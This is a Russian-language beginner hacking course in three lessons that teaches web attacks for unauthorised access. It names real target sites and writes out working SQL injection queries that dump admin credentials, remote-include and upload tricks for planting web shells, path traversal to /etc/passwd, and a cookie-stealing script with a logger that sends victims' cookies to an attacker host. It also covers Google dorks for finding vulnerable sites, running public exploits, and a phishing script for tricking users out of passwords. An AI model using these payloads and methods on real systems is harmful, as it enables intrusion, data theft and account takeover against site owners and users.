говорят, google – твой лучший друг. Если у тебя есть какой-либо вопрос, не спеши с ним на форум, поищи уже готовые ответы,
ведь наверняка ты не первый, кто его задает. Если ты научишься владеть поисковиком, то дальнейшее изучение не составит проблем. На 90% твоих вопросов ответы есть в Интернете.
Конечно, на форумах на адекватный вопрос всегда дадут ответ. Ты всегда можешь попросить помощи у более опытных людей.
Но рано или поздно придет время самостоятельно принимать решения, находить выходы из ситуаций. Именно этому
я тебя учу – ты должен обладать творческим мышлением, уметь адаптироваться к новым условиям.
У всех новичков один вопрос – «С чего начать?»
Я бы советовал начать с изучение английского языка, т.к. базовый язык для машин, как раз английский. Если у тебя с этим туго советую немедленно скачать учебник, либо записаться на курсы.
Многие говорят, что нужно научиться быстро набирать текст. Это так. Но не стоит скачивать какие то специальные программы. Со временем ты сам не заметишь, как будешь вслепую набирать текст.
Ответственность.
Что же за ответственность? Думаю догадаться несложно.
Существуют статьи УК, в которых описаны наказания за
компьютерные преступления. Приведу некоторые:
Статья 159. Мошенничество
Статья 165. Причинение имущественного ущерба
путем обмана или злоупотребления доверием
Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну
Статья 187. Изготовление или сбыт поддельных
кредитных либо расчетных карт и иных
платежных документов
Статья 272. Неправомерный доступ к
компьютерной информации
Статья 273. Создание, использование и
распространение вредоносных программ для
ЭВМ
Статьи КоАП РСФСР
Статья 137. Изготовление и использование
радиопередающих устройств без разрешения
Статья 138. Нарушение правил приобретения,
установки, строительства и эксплуатации
радиоэлектронных средств
Статья 139. Нарушение правил охраны линий и
сооружений связи
Статьи УК РФ
Статья 137. Нарушение неприкосновенности
частной жизни
Статья 138. Нарушение тайны переписки,
телефонных переговоров, почтовых,
телеграфных или иных сообщений
Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну
Статья 272. Неправомерный доступ к
компьютерной информации
Статья 273. Создание, использование и
распространение вредоносных программ для ЭВМ.
Предположим ты взломал сервер. Но так как ты новичок забыл затереть логи. И твой ip(айпи) адрес остался на сервере.
Теперь если администратор обнаружит вторжение, он может смело может пожаловаться твоему провайдеру.
Провайдер проверит, кому принадлежал это адрес в указанное время. И твой телефон и домашний адрес у них в руках.
Далее – если будет написано заявление в милицию, тебя ждет одна из выше перечисленных статей.
Но заявления может и не быть. Провайдер просто отключить тебя от Интернета. Это в лучшем случае.
Вообще могу сказать, что лучше всего хранить конфиденциальные данные
на CD в запароленном архиве с очень сложным паролем и измененным расширение, либо на флеш носителе, как первый, так и второй уничтожить не составит труда.
Путь хакера.
Здесь и сейчас, с этого момента, начинается твой путь в хакеры. Где-то в Интернете я видел интересное высказывание: лучший админ – это хакер, и наоборот – лучший хакер – злой админ.
Отчасти это правда. Подобно тому, как хороший боец должен хорошо владеть оружием, хакер должен хорошо владеть компьютером. Они знают по нескольку языков программирования, разбираются в операционных
системах, знают, как устроен компьютер и могут собрать и разобрать его за 45 секунд). Чтобы успешно находить уязвимости в
скриптах, ты должен знать, по какому принципу они работают, а чтобы это понять, надо знать язык, на котором они написаны.
Не обязательно знать прям всё, но что-либо альтернативное из каждой группы языков ты должен выбрать. Вот основные языки,
которыми пользуются хакеры. Из каждой группы выбери один-два языка:
•Ассемблер
•Delphi | С/C++ | Visual Basic
•HTML, XML, WML
•PHP | ASP | JSP | Perl
•SQL и кoмпания
Не обязательно учить всё сразу, чтоб не говорил, что я тебя запугиваю. Жирным выделены обязательные языки. По возможности
найди как можно больше учебников для дальнейшего изучения.
Ассемблер используется для взлома shareware-программ, для создания кряков и кейгенов.
Дальше. HTML, PHP, ASP, Perl, JavaScript, VBS, JSP, и многие другие объединяют в одну группу – это
“веб-языки”. При помощи них создаются веб-сайты, например HackZona написана на PHP.
HTML – это не язык программирования. Его название переводится как “HyperText Markup Language” – “язык гипертекстовой разметки”. Т.е. при помощи него не программируют,
а только “размечают” документ, показывая компьютеру, где какие данные должны быть. Как говорилось в предыдущем уроке, если
при написании сайта ограничиваться только этим языком, то мы просто задаём: здесь рисунок, а тут ссылка, а тут такой-то текст.
Таким образом, при каждой загрузке страницы мы увидим одно и то же: рисунок, ссылка, текст. А вот если прикрутить к документу
скрипт, написанный на PHP, мы можем указать, что при загрузке рисунка можно выбрать из базы данных, например, ту картинку, что
нравится пользователю.
Таким образом, они друг друга дополняют. Ты должен чётко ощущать разницу между веб-дизайном и веб-программированием.
XML – это тоже язык гипертекстовой разметки, дающий большую гибкость, чем HTML, однако, его тебе пока учить не стоит. WML – разномидность XML, используется для создания wap-сайтов.
PHP и Perl – наиболее часто используемые языки веб-программирования.
CSS – каскадные таблицы стилей. Это надстройка HTML, используется для визуального украшения документа – неподчёркнутые
ссылки, цвет полосы прокрутки, рамки, анимация, и многое-многое другое. Оригинальная версия этой статьи написана с
использованием css. Украшены ссылки, элементы списков, рамки для кода и правил, и др. Если ты читаешь статью с HackZona.ru,
то перед тобой не оригинальная статья, хотя это никак не отражается на сути урока.
Delphi, С/C++/C#, Java, Visual Basic, QBasic, Dark Basic, Pascal, Fortran, etc. – это “прикладные” языки. Приложения, созданные
в этих средах разработки, носят расширение *.exe . {+ хотя файлы php – тоже приложения +}
SQL – язык баз данных. Ты, наверное, слышал термин SQL injection? Мы к нему вернёмся через несколько уроков. Это уязвимость,
позволяющая хакеру вытаскивать данные из базы, передавая их вместе с PHP-запросом. И для этого нужно изучить SQL.
Ты сам понимаешь, что учить тебя этим языкам я не буду, я буду учить тебя их использовать. То, что тебя интересует, найдёшь сам.
Теперь поговорим немного об ОС (операционная система).
Сейчас ты наверняка сидишь под Windows.
Кроме windows существуют системы семейства unix, их еще называет *nix (никсы).
Юникс систем очень много приведу несколько:
Linux, BSD, Solaris.
Пока об этом стоит только читать, но в будущем советую поставить какой нибудь дистрибутив Linux, так как эта система как никакая другая подходит для взлома.
Существуют разные подвиды хакеров, занимающиеся разными видами деятельности:
•Хакинг
•Крэкинг
•Фрикинг
•Социнженеринг/фишинг
•Кардинг
•Кодинг
Каждый занимается чем то своим.
Но, например веб хакинг, социнженерию и кодинг можно объединить. Так как в деле одно может дополнять другое. Давайте разберемся со всем этим поподробнее:
Хакинг – этим собственно и занимаются хакеры. В этот раздел можно отнести взлом сайтов серверов поиск уязвимостей в скриптах & прикладных программах,
написание эксплоитов (или другое название сплоиты)
Крэкеры (это не печенье;)) занимаются исследованием начинки программного обеспечения, в частности получение алгоритма
генерации серийного номера в платных программах, исп. для создания кейгенераторов. Для этого надо знать ассемблер, чтобы понимать, как устроена программа.
Фрикеров часто связывают с электроникой. Фрикер – любитель халявы, который привык не платить за услуги, связанные с электроникой. К этому относят взлом таксофонов, счетчиков, теликов, и т.д. и т.п.
Естественно, чтобы этим заниматься, нужно иметь глубокие познания в электронике. Мой папа по образованию – инженер-электронищик. Я 16 лет жил в одной квартире с
величайшим фрикером, не зная этого.
Социальная инженерия – это единственная наука из всех названных, направленная не на взлом компьютера, а на взлом человека.
Сейчас в Сети очень много ламмеров, и элементарно выманить их пароли оказывается достаточно просто. Например, выдать себя за
админа почтового сервиса, или тех. консультанта организации, и сказать, что мол поступила жалоба на спам с Вашего ящика, если
не хотите его удаления, отошлите такое-то письмо на почтовый робот такой-то, укажите свой логин, пароль, и этот код доступа:
46655529 (цифры наугад), и он поверит. Социнженеринг(далее СИ) применяется там, где единственное уязвимое место в системе -
пользователь. Пример: зачем ломать mail.ru если можно обмануть юзера?
Кардинг – манипуляции с кредитками, мардинг – маниакальное уничтожение взломанных систем. На этих пунктах мы останавливаться
не будем по понятным причинам.
Конечно, кое-кто раскритикует такое разделение, но новички должны знать эти понятия. Не бывает так, что хакер опытен только
в одном деле и безразличен к другим направлениям. Это деление чисто условное.
Кодинг – программирование с точки зрения хакерства.
Всё, ты уже стал на путь хакерства. Вводные уроки закончились, в следующий раз мы поговорим о более серьезных вещах.
Я начну рассказывать тебе о том, как устроен Интернет, какая в нем адресация, что такое IP,порты,proxy и т.д.
Приложение
Советую почитать книгу “HTML.Первые шаги”. Для ознакомления с HTML это просто НАХОДКА. Учебник написан понятным языком, с
примерами кода, иллюстрациями. Респект автору.
Для изучение PHP подойдет книга PHP в подлиннике.
По линуксу(linux) подойдет книга «Введение в Linux»
Все вышеприведенное можно найти в сети с помощью поисковика google.
Как раз будет полезно потренироваться искать информацию.
Привет читатель. Я решил долго не тянуть и уже в этой статье рассказать о том, какими способами взламывают сайты, какие бывают уязвимости
и зачем собственно взламывать сайты. Что вы узнаете на сегодняшнем уроке:
Кто и зачем?
Какие бывают уязвимости.
Веб шелл, как и что.
Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.
Кто и зачем?
Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо.
Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу.
Все зависит от такого для чего производится взлом.
Рассмотрим основные мотивы:
Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта
Воровство базы данных – это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база
Взлом производиться ради повышения прав на сервере.
Теперь поговорим о таком понятии как скрипт кидди.
Скрипт кидди – это люди, как правило не слишком разбирающихся в хаке и программировании.
Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее.
Так как же они взламывают? Они попросту используют чужие наработки.
Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее.
Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты.
Либо второй вариант – для развлечения – скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0.
Далее он идет в поисковик и делает следущюий запрос:
site: php nuke 7.0 – этим он получит список сайтов с установленной CMS Nuke
Далее он просто использует эксплоит. Это кстати называется гугл хакинг.
Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.
Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include
В каждом уроке я буду рассказывать понемногу про каждую из них.
Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.
XSS.
Цель у этой уязвимости одна – украсть Cookes файлы.
Итак, сначала из за чего появляются Xss
Происходит все это из-за отсутствия фильтрации входящих данных
Разберем сразу на примере:
www.atlant.ws Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег [hr]
И мы увидим линию (в HTML этот тег означает провести линию)
В адресной строке мы видим:
http://www.atlant.ws/?set=search&www=false&query=[hr]
Значит данные передаются GET запросом.
Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий.
http://www.atlant.ws/?set=search&www=false&query=[script]alert(’xss’)[/script]
Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение.
Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q)
Кроме пассивных xss существует активные.
Опять же пример:
http://www.addtop.ru/kom.php?id=32
Вводим в комментарии скрипт
[script]alert(’xss’)[/script]
И отправляем его.
Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его.
Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти.
А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код.
Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss.
Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем.
В конце статьи я приведу несколько полезный ссылок на эту тему.
Введение в PHP include.
Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл.
Разберем сначала, что такое веб шелл.
Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе.
В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл.
Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость
Видим на сайте такой url:
www.site.ru?page=home.html
Это значит, что на страничку подгружается файл home.html
А что если попробовать подгузить свой файл? Например, так:
www.site.ru?page=http:/hacker.ru/webshell.php
Так мы пробуем загрузить веб шелл на сайт.
Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан.
Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера.
Кроме удаленных, инклуды бывают локальные.
В этом случае мы сможем только читать файлы на сервере.
Например, сейчас мы попробуем прочитать файл с именами пользователей системы:
www.site.ru?page=/etc/passwd
Вот, опять же попробуй поискать php include. Советую воспользоваться google:
Inurl:page=
Такой запрос покажет нам сайты, в урле которых присутствует строка “page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим
Кстати если найдешь php инклуд, то можно получить xss вот так:
www.site.ru?page=[script]alert(/xss/)[/script]
Это работает во многих случаях.
В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.
Введение в SQL Injection
Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта.
Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы
Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например:
http://www.descom.ch/main.php?id=18646644
Что бы проверить параметр на sql injection обычно подставляют кавычку
http://www.descom.ch/main.php?id=18646644′ либо другие левые символы
Видим ошибку. Понимаем что это mysql.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19
Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by.
http://www.descom.ch/main.php?id=18646644’+order+by+10/*
Вывод то же самый, значит полей меньше
http://www.descom.ch/main.php?id=18646644+order+by+7/*
Да. Вывод изменился. Значит полей 7.
Теперь нужно получить читабельные поля. http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/*
Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select
У нас есть колонки. Теперь нужно получить информация о базе.
http://www.descom.ch/main.php?id=18646644′+union+select+1,2,3,version(),5,6,7/*
Видим что mysql v5 – - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу.
Делается это так:
http://www.descom.ch/main.php?id=18646644′+union+select+1,2,3,version(),5,6,7/+from+таблица/*
таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой
ссылке
В нашем случае мне удалось узнать, что имя таблицы user.
Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль.
Попробуем:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*
И у нас на экране логин и хеш пароля администратора.
Вот таким не хитрым образом удалось поломать базу.
Кстати здесь тоже имеет место xss:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,[script]alert(/xss/)[/script],5,6,7/*
Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках
я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql
Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме хакзоны:
sql inj
php inc
Еще парочка способов загрузить веб шелл.
Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ
На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение.
Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом:
Поменять разрешение на такое:
webshell.php.jpg.
и возможно нам удастся загрузить шелл.
Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст
Для этого можно поступить вот так:
Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт.
Термины, используемые в статье.
Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи:
Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например “Hacked by вася”
CMS или еще говорят движок-двиг – система управления сайтом.
Эксплоит – сплоит -exploit-xploit – программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования
Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для:
аутентификации пользователя;
хранения персональных предпочтений и настроек пользователя;
отслеживания состояния сессии доступа пользователя;
ведения статистики о пользователях.
Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ.
В следующей статье я как раз расскажу про воровство Cookes с помощью xss
bugtraq-багтрак – Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении.
Google hacking – гугл хакинг – Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте.
Послесловие
Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах.
Для самообразования можно почитать вот это:
xss
sql injection
php include
конецформыначалоформыЗдравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем:
Сплоиты – структура и использование
Google hacking
Более подробное изучение таких уязвимостей как:
-sql injection
-xss
-php include
Сплоиты.
Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.
Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.
Итак, возьмем инъекцию из прошлого урока
http://www.site.us/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*
Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS
Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому,
мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.
Приводить текст эксплоита я не буду а только разберем суть алгоритма:
Сначала нужно сделать обратиться к сайту с составленным запросом для вывода логина и пароля.
Далее нам вернется страничка с аккаунтом
Теперь нужно пропарсить страницу и найти логин пароль.
Все. Ну кончено это самый примитивный пример.
Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования.
Но обычно эксплоиты для веб приложений пишутся на PHP или Perl
Давайте теперь разберем классический сценарий:
Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:
Power by PHP-nuke 8.0
Это значит сайт работает на движке найков.
Теперь нужно попробовать найти паблик эксплоиты под эту версию.
Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:
PHP-nuke 8.0 exploit
После непродолжительного парсинга ссылок мы находим сплоит:
http://milw0rm.com/exploits/3346
Видим надпись #!/usr/bin/perl
Это значит эксплоит написан на perl.
Далее видим это:
#0day exploit for PHP-nuke <=8.0 Final
0day – значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.
Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой
Perl exploit.pl
С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь
После установки можно так же воспользоваться командой perl в консоли.
Perl exploit.pl
Далее программа покажет необходимые аргументы для этого эксплоита.
В большинстве случаев понадобится только адрес сайта.
Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты.
Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков.
Apache – это сервер
mysql – это база данных.
Мануал по установке можно найти здесь
После этого достаточно скопировать php сплоит в папку www и запустить из браузера.
localhost/exploit.php
Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.
Google hacking.
Поиск бажных сайтов
Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка.
К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким:
Site: PHP-nuke 8.0
Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны. Потом открываем любой сайт и применяем сплоит.
Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.
В прошлом уроке я показывал как искать ресурсы с возможным php include bug:
inurl: “page=”
inurl ищет указанную строку в адресе сайта
Можно сделать такой запрос:
inurl:”id=1”
и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection.
А если сделать так:
inurl:”page=” and “.us”
То гугл найдет все сайты с которые находятся в зоне .us(американские)
Кстати, еще можно указать тип документа:
filetype:asp
Гугл выдаст нам найденные asp сценарии.
Поиск админки Теперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.
Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается.
Вот стандартные пути:
www.site.us/admin
www.site.us/administrator
www.site.us/admin.php
Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл
Site: www.site.us admin
Или
Site: www.site.us admin.php
Ну и тому подобные запросы.
А вот такой запрос найдет все текстовые файлы сайта
Site: www.site.us filetype:txt
Можно попробовать поискать интересные файлы, что то вроде:
Site: www.site.us filetype:txt password.
Продолжаем знакомится с xss php include sql injection
Xss
Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.
Рассмотрим небольшой сценарий:
[form name="form" action="questbook.php" method="GET"]
[input type=text name="text"]
[input type=submit name="submit" value="Send"]
[?php
$message=$_GET[‘text’]; Echo $message; ?]
Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.
Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.
А если ввести скрипт, то он сответстенно выполнится.
Фактически это и есть причина xss.
Так теперь даавйте попробуем украсть Куки.
У нас есть xss такого вида.
www.site.us/questbook.php?text=[script]alert(‘xss’)[/script]
Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):
www.site.us/questbook.php?text=[script]alert(document.cookie)[/script]
Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.
Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:
Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием:
Snif.js document.write(’[iframe width=1 height=1 style="position: absolute; visibility: hidden;"
src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+document.cookie+'"][/iframe]‘);
Этот код открывает невидимый фрейм, в котором загружается файл ‘http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).
Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта.
Далее в сценарии write.php мы просто запишем файлы Кук:
Write.php
[?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=”.$_GET[‘host’].”, COOKIES=”.$_GET[‘cook’].”rn”);
fclose($file);
?]
Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой:
www.site.us/questbook.php?text=[script src=http://хост/snif.js][/script]
Все, осталось только дать ссылку жертве.
Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать
Опять же наипростейший пример:
[?php
$f=$_GET[‘file’];
if(file_exists($f))
Include(‘file’);
?]
Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.
Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:
http://x3k.ru/ www.site.us/include.php?file=/etc/passwd
http://x3k.ru/ Это пример из прошлого урока. Теперь разберем еще один кусок кода:
[?php
$f=$_GET[‘file’];
$f2=fopen(“$f.txt”,r));
?]
Тут уже используется функция fopen, которая также уявзима.
В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:
/etc/passwd.txt
Естественно ничего мы прочитать не сможем. Выход использовать NULL байт.
%00 – нуль байт. После его вставки часть строки обрубается.
Смотри:
/etc/passwd%00.txt
В итоге будет:
/etc/passwd
А вот на примере:
www.site.us/include.php?file=/etc/passwd%00
Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере:
www.site.us/include.php?file=../../../../../../../../../../../../../etc/passwd%00
Итак во первых – для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc.
Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах ..
означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»
Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.
Вот смоти:
Php include bug
http://www.wkar.msu.edu/sportstalk/page.php?StaffID=37&fill=[hacked]
Смотрим на ошибку:
Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23
Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).
SQL injection
На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.
Во первых разберем небольшую иерархию.
База данных
Таблица
Столбец
Поле
На примере это выглядит так:
База данных onlineshop
Таблица onlineshop.users
-----------------------
| Login password |
------------------------
Stas 123456
Misha 123456
Maxim 123456
Roma 123456
------------------------
Что сдесь что?:
Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:
…………..
$q=”SELECT * FROM USERS where login=$login password=$pass”
…………..
Во первых
SELECT – выбирает данные из таблицы
Where – задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.
Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.
Теперь конкретно как мы это делаем:
Допустим где то на сайте нашли ниъекцию:
www.site.us/sql?id=1’
Далее мы подобрали что столбцов 6:
Активные 3,4
www.site.us/sql? id=1’+union+select+1,2,login,password,5,6+from+onlineshop.users /*
Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:
www.site.us/sql?login=1’+union+select+1,2,login,password,5,6+from+onlineshop.users+limit 1,2 /*
Так выбираем 2 пользователя.
Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.
И еще – допустим с помощью order by мы подобрали кол во столбцов.
Делаем так:
www.site.us/sql?id=1’+union+select+1,2,3,4,5,6/*
По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.
Тогда нужно поступать так:
www.site.us/sql?id=-1’+union+select+1,2,3,4,5,6/*
Ну вот.
Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом.
На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.
Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и
использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysql
Ps в комментариях прошу не флудить. Лучше задавайте вопросы по статье.
Несколько бесплтных хостингов с поддержкой php
www.yard.ru
www.holm.ru/?p=34880
www.hostland.su/
www.hut.ru/